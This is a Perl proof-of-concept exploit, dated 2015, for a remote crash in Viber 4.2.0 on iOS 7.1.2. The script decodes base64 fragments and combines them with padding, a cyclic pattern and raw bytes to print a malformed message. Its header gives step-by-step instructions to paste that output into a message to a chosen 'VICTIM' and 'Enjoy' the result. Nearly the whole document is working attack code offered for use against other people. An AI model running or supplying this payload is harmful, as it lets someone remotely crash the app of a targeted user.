Viber Remote Crash Proof Of Concept

`#!/usr/bin/perl -w  
#  
#-*- coding: utf-8 -*  
#[+] Author: Mohammad Reza Espargham  
#[+] Title: Viber Remote Crash on non-printable characters  
#[+] Product: Viber  
#[+] Vendor: http://www.viber.com/en/  
#[+] SoftWare Link :   
https://itunes.apple.com/app/viber-free-phone-calls/id382617920?mt=8  
#[+] Vulnerable Version(s): Viber 4.2.0 on IOS 7.1.2  
#[+] Date: 26-04-2015  
  
  
# 1.run perl code  
# 2.Copy the perl output text  
# 3.Open Viber Desktop  
# 4.Select Your VICTIM  
# 5.Paste and Message  
# 6.Enjoy  
  
  
use open ':std', ':encoding(UTF-8)';  
system(($^O eq 'MSWin32') ? 'cls' : 'clear');  
use MIME::Base64;  
  
$ut="M7tktuYbL14T";  
$utd = decode_base64($ut);  
  
$lt="sNiw2KAg2KAg2Ao=";  
$ltd = decode_base64($lt);  
  
$bt="M7tktuYbL14T";  
$btd = decode_base64($bt);  
  
  
$junk="Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9".  
"Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9".  
"Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9".  
"Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9".  
"Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9".  
"Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9".  
"Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9".  
"Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9".  
"Aq0Aq1Aq2Aq3Aq4Aq5Aq";  
$tt="\xf5\xaa\xf1\x05\xa8\x26\x99\x3d\x3b\xc0\xd9\xfe\x51\x61" .  
"\xb6\x0e\x2f\x85\x19\x87\xb7\x78\x2f\x59\x90\x7b\xd7\x05";  
  
$buffer = "A"x153; # 100xA  
$buffer1 = "A"x63; #5xA  
print "\n\n$utd$buffer$ltd$tt$buffer1$junk$btd\n\n";  
#END <3  
`